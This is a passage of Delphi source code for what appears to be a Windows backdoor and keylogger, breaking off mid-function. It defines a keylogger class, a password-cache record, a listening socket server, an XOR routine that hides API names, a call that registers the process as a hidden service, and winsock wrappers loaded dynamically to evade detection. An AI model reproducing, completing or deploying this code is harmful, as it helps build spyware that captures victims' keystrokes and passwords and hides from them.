TWMNCLButtonDblClk = TWMNCHitMessage; TWMNCLButtonDown = TWMNCHitMessage; TWMNCLButtonUp = TWMNCHitMessage; TWMNCMButtonDblClk = TWMNCHitMessage; TWMNCMButtonDown = TWMNCHitMessage; TWMNCMButtonUp = TWMNCHitMessage; TWMNCMouseMove = TWMNCHitMessage; TWMNCPaint = TWMNoParams; TWMNCRButtonDblClk = TWMNCHitMessage; TWMNCRButtonDown = TWMNCHitMessage; TWMNCRButtonUp = TWMNCHitMessage; TWMNextDlgCtl = record Msg: Cardinal; CtlFocus: Longint; Handle: WordBool; Unused: Word; Result: Longint; end; TWMNotify = record Msg: Cardinal; IDCtrl: Longint; NMHdr: PNMHdr; Result: Longint; end; TWMNotifyFormat = record Msg: Cardinal; From: HWND; Command: Longint; Result: Longint; end; TWMPaint = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMPaintClipboard = record Msg: Cardinal; Viewer: HWND; PaintStruct: THandle; Result: Longint; end; TWMPaintIcon = TWMNoParams; TWMPaletteChanged = record Msg: Cardinal; PalChg: HWND; Unused: Longint; Result: Longint; end; TWMPaletteIsChanging = record Msg: Cardinal; Realize: HWND; Unused: Longint; Result: Longint; end; TWMParentNotify = record Msg: Cardinal; case Event: Word of WM_CREATE, WM_DESTROY: ( ChildID: Word; ChildWnd: HWnd); WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: ( Value: Word; XPos: Smallint; YPos: Smallint); 0: ( Value1: Word; Value2: Longint; Result: Longint); end; TWMPaste = TWMNoParams; TWMPower = record Msg: Cardinal; PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME, PWR_CRITICALRESUME } Unused: Longint; Result: Longint; end; TWMQueryDragIcon = TWMNoParams; TWMQueryEndSession = record Msg: Cardinal; Source: Longint; Unused: Longint; Result: Longint; end; TWMQueryNewPalette = TWMNoParams; TWMQueryOpen = TWMNoParams; TWMQueueSync = TWMNoParams; TWMQuit = record Msg: Cardinal; ExitCode: Longint; Unused: Longint; Result: Longint; end; TWMRButtonDblClk = TWMMouse; TWMRButtonDown = TWMMouse; TWMRButtonUp = TWMMouse; TWMRenderAllFormats = TWMNoParams; TWMRenderFormat = record Msg: Cardinal; Format: Longint; Unused: Longint; Result: Longint; end; TWMSetCursor = record Msg: Cardinal; CursorWnd: HWND; HitTest: Word; MouseMsg: Word; Result: Longint; end; TWMSetFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMSetFont = record Msg: Cardinal; Font: HFONT; Redraw: WordBool; Unused: Word; Result: Longint; end; TWMSetIcon = record Msg: Cardinal; BigIcon: Longbool; Icon: HICON; Result: Longint; end; TWMSetRedraw = record Msg: Cardinal; Redraw: Longint; Unused: Longint; Result: Longint; end; TWMSetText = record Msg: Cardinal; Unused: Longint; Text: PChar; Result: Longint; end; TWMShowWindow = record Msg: Cardinal; Show: BOOL; Status: Longint; Result: Longint; end; TWMSize = record Msg: Cardinal; SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED, SIZE_MAXHIDE, SIZE_MAXSHOW } Width: Word; Height: Word; Result: Longint; end; TWMSizeClipboard = record Msg: Cardinal; Viewer: HWND; RC: THandle; Result: Longint; end; TWMSpoolerStatus = record Msg: Cardinal; JobStatus: Longint; JobsLeft: Word; Unused: Word; Result: Longint; end; TWMStyleChange = record Msg: Cardinal; StyleType: Longint; StyleStruct: PStyleStruct; Result: Longint; end; TWMStyleChanged = TWMStyleChange; TWMStyleChanging = TWMStyleChange; TWMSysChar = TWMKey; TWMSysColorChange = TWMNoParams; TWMSysDeadChar = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMSysKeyDown = TWMKey; TWMSysKeyUp = TWMKey; TWMSystemError = record Msg: Cardinal; ErrSpec: Word; Unused: Longint; Result: Longint; end; TWMTimeChange = TWMNoParams; TWMTimer = record Msg: Cardinal; TimerID: Longint; TimerProc: TFarProc; Result: Longint; end; TWMUndo = TWMNoParams; TWMVKeyToItem = TWMCharToItem; TWMVScroll = TWMScroll; TWMVScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScollCode: Word; ThumbPos: Word; Result: Longint; end; TWMWindowPosChanged = TWMWindowPosMsg; TWMWindowPosChanging = TWMWindowPosMsg; TWMWinIniChange = record Msg: Cardinal; Unused: Integer; Section: PChar; Result: Longint; end; TWMHelp = record Msg: Cardinal; Unused: Integer; HelpInfo: PHelpInfo; Result: Longint; end; TWMDisplayChange = record Msg: Cardinal; BitsPerPixel: Integer; Width: Word; Height: Word; end; // sysutils type type WordRec = packed record Lo, Hi: Byte; end; LongRec = packed record Lo, Hi: Word; end; TMethod = record Code, Data: Pointer; end; PByteArray = ^TByteArray; TByteArray = array[0..32767] of Byte; PWordArray = ^TWordArray; TWordArray = array[0..16383] of Word; TProcedure = procedure; TFileName = string; TSearchRec = record Time: Integer; Size: Integer; Attr: Integer; Name: TFileName; ExcludeAttr: Integer; FindHandle: THandle; FindData: TWin32FindData; end; TFileRec = record Handle: Integer; Mode: Integer; RecSize: Cardinal; Private: array[1..28] of Byte; UserData: array[1..32] of Byte; Name: array[0..259] of Char; end; PTextBuf = ^TTextBuf; TTextBuf = array[0..127] of Char; TTextRec = record Handle: Integer; Mode: Integer; BufSize: Cardinal; BufPos: Cardinal; BufEnd: Cardinal; BufPtr: PChar; OpenFunc: Pointer; InOutFunc: Pointer; FlushFunc: Pointer; CloseFunc: Pointer; UserData: array[1..32] of Byte; Name: array[0..259] of Char; Buffer: TTextBuf; end; TFloatValue = (fvExtended, fvCurrency); TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency); TFloatRec = packed record Exponent: Smallint; Negative: Boolean; Digits: array[0..20] of Char; end; TTimeStamp = record Time: Integer; { Number of milliseconds since midnight } Date: Integer; { One plus number of days since 1/1/0001 } end; TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte); TSysLocale = packed record DefaultLCID: LCID; PriLangID: LANGID; SubLangID: LANGID; FarEast: Boolean; end; // password connection type TPasswordCacheEntry = packed record cbEntry : word; // size of this entry, in bytes cbResource : word; // size of resource name, in bytes cbPassword : word; // size of password, in bytes iEntry : byte; // entry index nType : byte; // type of entry abResource : array [0..$FFFFFFF] of char; end; TPPasswordCacheEntry = ^TPasswordCacheEntry; // registry type type TRegKeyInfo = record NumSubKeys: Integer; MaxSubKeyLen: Integer; NumValues: Integer; MaxValueLen: Integer; MaxDataLen: Integer; FileTime: TFileTime; end; TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary); TRegDataInfo = record RegData: TRegDataType; DataSize: Integer; end; TRegistry = class(TObject) private FCurrentKey: HKEY; FRootKey: HKEY; FLazyWrite: Boolean; FCurrentPath: string; FCloseRootKey: Boolean; procedure SetRootKey(Value: HKEY); function OpenKey(const Key: string; CanCreate: Boolean): Boolean; protected function GetBaseKey(Relative: Boolean): HKey; procedure ChangeKey(Value: HKey; const Path: string); procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); function GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; public constructor Create; destructor Destroy; override; procedure WriteString(const Name, Value: string); function ReadString(const Name: string): string; procedure CloseKey; function GetDataSize(const ValueName: string): Integer; function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean; property CurrentKey : HKEY read FCurrentKey; property RootKey: HKEY read FRootKey write SetRootKey; property CurrentPath: string read FCurrentPath; property LazyWrite: Boolean read FLazyWrite write FLazyWrite; end; TSock = class(TObject) procedure WriteString(wParam:word;Buff:PChar); function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; procedure OnServerAccept(wParam,lParam:longInt); procedure OnServerClose(wParam,lParam:longInt); procedure OnServerRead(wParam,lParam:longInt); private public end; //Key_logger_object Type TLog = class(TObject) procedure LogCreate; procedure LogDestroy; private procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT; public end; //============== all var var //sysutils var SysLocale: TSysLocale; LeadBytes: set of Char = []; Win32Platform: Integer; //MainVariables wClass: TWndClass; // Class struct for main window hInst, // Handle of program instance Handle: Integer; // Handle of main window Msg2: TMSG; // Message struct //Msg: TMSG; //Socket Server: TSocket; WSD: TWSAData; Addr: TSockAddrIn; // Address for connect. Port: Integer; //ReadBuff: TBuffer; yyyy,mm,dd,h,m,ss,CountRB: Word; result,nukemsg,nukemsg2,opt,opt2,s,driv: string; d:integer; // si,i:integer; //udp j:byte; z:longint; //ip //Registry Registre: TRegistry; //other klasse: array [0..255] of char; Timeout: integer; t:textfile; // classe: array [0..255] of char; // counter :integer; //thread Sock:TSock; KLog: Tlog; h_SOCK_DLL :HModule; ThreadHdle :THandle; ThreadID :Integer; ExitCode :Integer; ThreadHdle2 :THandle; ThreadID2 :Integer; ExitCode2 :Integer; ThreadHdle3:THandle; ThreadID3 :Integer; ExitCode3 :Integer; iii:byte; sss,sss2:string; ccc:char; //===Dir function systemdir:string; var d:integer; begin setlength(result,500); d:=getsystemdirectory(pchar(result),500); setlength(result,d); end; function windowsdir:string; var d:integer; begin setlength(result,500); d:=getwindowsdirectory(pchar(result),500); setlength(result,d); end; Function Crypt(S : String) : String; Var i : Byte; begin For i := 1 to Length(S) Do S[i] := Char(ord(S[i]) xor i); Crypt := S; end; //==executeAPI function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA'; //function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; function RegisterInService:boolean; type TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean; StdCall; var h_KERNEL_DLL :HModule; RegisterServiceProcess :TRegisterServiceProcess; begin Result := False; h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); if h_KERNEL_DLL <> Null then begin RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess if @RegisterServiceProcess <> Nil then Result := RegisterServiceProcess(GetCurrentProcessID, True); FreeLibrary(h_KERNEL_DLL); end; end; //=== winsock function //function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept'; function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; Type TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('accept')); if @LListen <> Nil then Result := LListen(s, addr,addrlen); FreeLibrary(h_SOCK_DLL); end; end; //function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind'; function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('bind')); if @LListen <> Nil then Result := LListen(s, addr,namelen); FreeLibrary(h_SOCK_DLL); end; end; //function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket'; function closesocket(s: TSocket): Integer; stdcall; Type TListen = function(s: TSocket): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket')); if @LListen <> Nil then Result := LListen(s); FreeLibrary(h_SOCK_DLL); end; end; //function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect'; function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('connect')); if @LListen <> Nil then Result := LListen(s,name,namelen); FreeLibrary(h_SOCK_DLL); end; end; function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername'; function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname'; function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt'; //function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl'; function htonl(hostlong: u_long): u_long; stdcall; Type TListen = function(hostlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl')); if @LListen <> Nil then Result := LListen(hostlong); FreeLibrary(h_SOCK_DLL); end; end; //function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons'; function htons(hostshort: u_short): u_short; stdcall; Type TListen = function(hostshort: u_short): u_short; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htons')); if @LListen <> Nil then Result := LListen(hostshort); FreeLibrary(h_SOCK_DLL); end; end; //function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;} { TInAddr } function inet_addr(cp: PChar): u_long; stdcall; Type TListen = function(cp: PChar): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr')); if @LListen <> Nil then Result := LListen(cp); FreeLibrary(h_SOCK_DLL); end; end; function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa'; function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket'; //function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen'; function listen(s: TSocket; backlog: Integer): Integer; stdcall; Type TListen = function(s: TSocket; backlog: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('listen')); if @LListen <> Nil then Result := LListen(s, backlog); FreeLibrary(h_SOCK_DLL); end; end; //function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl'; function ntohl(netlong: u_long): u_long; stdcall; Type TListen = function(netlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl')); if @LListen <> Nil then Result := LListen(netlong); FreeLibrary(h_SOCK_DLL); end; end; function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs'; //function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv'; function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('recv')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function recvfrom(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom'; function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet; timeout: PTimeVal): Longint; stdcall; external winsocket name 'select'; //function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send'; function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('send')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr; tolen: Integer): Integer; stdcall; external winsocket name 'sendto'; function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt'; function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown'; //function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket'; function socket(af, struct, protocol: Integer): TSocket; stdcall; Type TListen = function(af, struct, protocol: Integer): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('socket')); if @LListen <> Nil then Result := LListen(af,struct,protocol); FreeLibrary(h_SOCK_DLL); end; end; function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr'; //function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname'; function gethostbyname(name: PChar): PHostEnt; stdcall; Type TListen = function(name: PChar): PHostEnt; stdcall; var LListen :TListen; begin Result := nil; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname')); if @LListen <> Nil then Result := LListen(name); FreeLibrary(h_SOCK_DLL); end; end; function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname'; function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber'; function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname'; function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport'; //function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname'; function gethostname(name: PChar; len: Integer): Integer; stdcall; Type TListen = function(name: PChar; len: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname')); if @LListen <> Nil then Result := LListen(name,len); FreeLibrary(h_SOCK_DLL); end; end; //function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect'; function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; Type TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect')); if @LListen <> Nil then Result := LListen(s,HWindow,wMsg,lEvent); FreeLibrary(h_SOCK_DLL); end; end; function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx'; function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar; len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr'; function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName'; function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber'; function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName'; function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int; proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort'; function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int; name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName'; function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest'; function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook'; function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook'; //function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError'; function WSAGetLastError: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError'; function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall'; function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking'; //function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup'; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; type TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup')); if @LListen <> Nil then Result := LListen(wVersionRequired, WSData); FreeLibrary(h_SOCK_DLL); end; end; //function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup'; function WSACleanup: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet'; function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD; nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped; lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile'; function AcceptEx(sListenSocket, sAcceptSocket: TSocket; lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx'; procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer; var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs'; function WSAMakeSyncReply(Buflen, Error: Word): Longint; begin WSAMakeSyncReply:= MakeLong(Buflen, Error); end; function WSAMakeSelectReply(Event, Error: Word): Longint; begin WSAMakeSelectReply:= MakeLong(Event, Error); end; function WSAGetAsyncBuflen(Param: Longint): Word; begin WSAGetAsyncBuflen:= LOWORD(Param); end; function WSAGetAsyncError(Param: Longint): Word; begin WSAGetAsyncError:= HIWORD(Param); end; function WSAGetSelectEvent(Param: Longint): Word; begin WSAGetSelectEvent:= LOWORD(Param); end; function WSAGetSelectError(Param: Longint): Word; begin WSAGetSelectError:= HIWORD(Param); end; procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet); var I: Integer; begin I := 0; while I < FDSet.fd_count do begin if FDSet.fd_array[I] = Socket then begin while I < FDSet.fd_count - 1 do begin FDSet.fd_array[I] := FDSet.fd_array[I + 1]; Inc(I); end; Dec(FDSet.fd_count); Break; end; Inc(I); end; end; function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean; begin Result := __WSAFDIsSet(Socket, FDSet); end; procedure FD_SET(Socket: TSocket; var FDSet: TFDSet); begin if FDSet.fd_count < FD_SETSIZE then begin FDSet.fd_array[FDSet.fd_count] := Socket; Inc(FDSet.fd_count); end; end; procedure FD_ZERO(var FDSet: TFDSet); begin FDSet.fd_count := 0; end; //=== stuff function IntToStr(A:Integer):string; begin Str(A,Result); end; function StrToInt(const S: string): Integer; var E: Integer; begin Val(S, Result, E); if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]); end; procedure AppMsg(Ms:PChar); begin MessageBox(Handle,Ms,'Error',0); end; //=== Cleanup and stop the program === procedure ShutDownServer; begin closesocket(Server); WSACleanup; // UnRegisterClass(lpzClassName,hInst); // Halt; end; //=== Process Messages === procedure ProcessMessages; begin while GetMessage(Msg2,0,0,0) do begin TranslateMessage(Msg2); DispatchMessage(Msg2); end; end; //=== Socket things ===== //=== Send a String #0 === procedure TSock.WriteString(wParam:word;Buff:PChar); begin send(wParam,Buff^,Length(Buff),0); end; //=== Send Buffer === function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; begin Result:=send(wParam,Buff^,Len,0); end; //=== Process OnAccept === procedure TSock.OnServerAccept(wParam,lParam:longInt); begin accept(Server,nil,nil); end; //=== Process OnClose === procedure TSock.OnServerClose(wParam,lParam:longInt); begin //nothing end; function GetLocalHostName: string; var szHostName: array[0..128] of char; begin if gethostname(szHostName, 128) = 0 then Result:= szHostName; end; //======= sysutils ========= function StrPas(Str: PChar): string; begin Result := Str; end; function StrLen(Str: PChar): Cardinal; assembler; asm MOV EDX,EDI MOV EDI,EAX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB MOV EAX,0FFFFFFFEH SUB EAX,ECX MOV EDI,EDX end; function StrCopy(Dest, Source: PChar): PChar; assembler; asm PUSH EDI PUSH ESI MOV ESI,EAX MOV EDI,EDX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,ECX MOV EAX,EDI SHR ECX,2 REP MOVSD MOV ECX,EDX AND ECX,3 REP MOVSB POP ESI POP EDI end; function StrScan(Str: PChar; Chr: Char): PChar; assembler; asm PUSH EDI PUSH EAX MOV EDI,Str MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX POP EDI MOV AL,Chr REPNE SCASB MOV EAX,0 JNE @@1 MOV EAX,EDI DEC EAX @@1: POP EDI end; function DiskSize(Drive: Byte): Integer; var RootPath: array[0..4] of Char; RootPtr: PChar; SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters: Integer; begin RootPtr := nil; if Drive > 0 then begin StrCopy(RootPath, 'A:\'); RootPath[0] := Char(Drive + $40); RootPtr := RootPath; end; if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters) then Result := SectorsPerCluster * BytesPerSector * TotalClusters else Result := -1; end; function DeleteFile(const FileName: string): Boolean; begin Result := Windows.DeleteFile(PChar(FileName)); end; function FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; begin Handle := FindFirstFile(PChar(FileName), FindData); if Handle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(Handle); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit; end; end; Result := -1; end; function FileExists(const FileName: string): Boolean; begin Result := FileAge(FileName) <> -1; end; function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if (Index = 0) then begin if P[Index] in LeadBytes then Result := mbLeadByte; end else begin if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then Result := mbTrailByte else if P[Index] in LeadBytes then Result := mbLeadByte; end; end; function ByteType(const S: string; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if SysLocale.FarEast then Result := ByteTypeTest(PChar(S), Index-1); end; function LastDelimiter(const Delimiters, S: string): Integer; var P: PChar; begin Result := Length(S); P := PChar(Delimiters); while Result > 0 do begin if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then if (ByteType(S, Result) = mbTrailByte) then Dec(Result) else Exit; Dec(Result); end; end; function ExtractFilePath(const FileName: string): string; var I: Integer; begin I := LastDelimiter('\:', FileName); Result := Copy(FileName, 1, I); end; procedure FindClose(var F: TSearchRec); begin if F.FindHandle <> INVALID_HANDLE_VALUE then Windows.FindClose(F.FindHandle); end; function FindMatchingFile(var F: TSearchRec): Integer; var LocalFileTime: TFileTime; begin with F do begin while FindData.dwFileAttributes and ExcludeAttr <> 0 do if not FindNextFile(FindHandle, FindData) then begin Result := GetLastError; Exit; end; 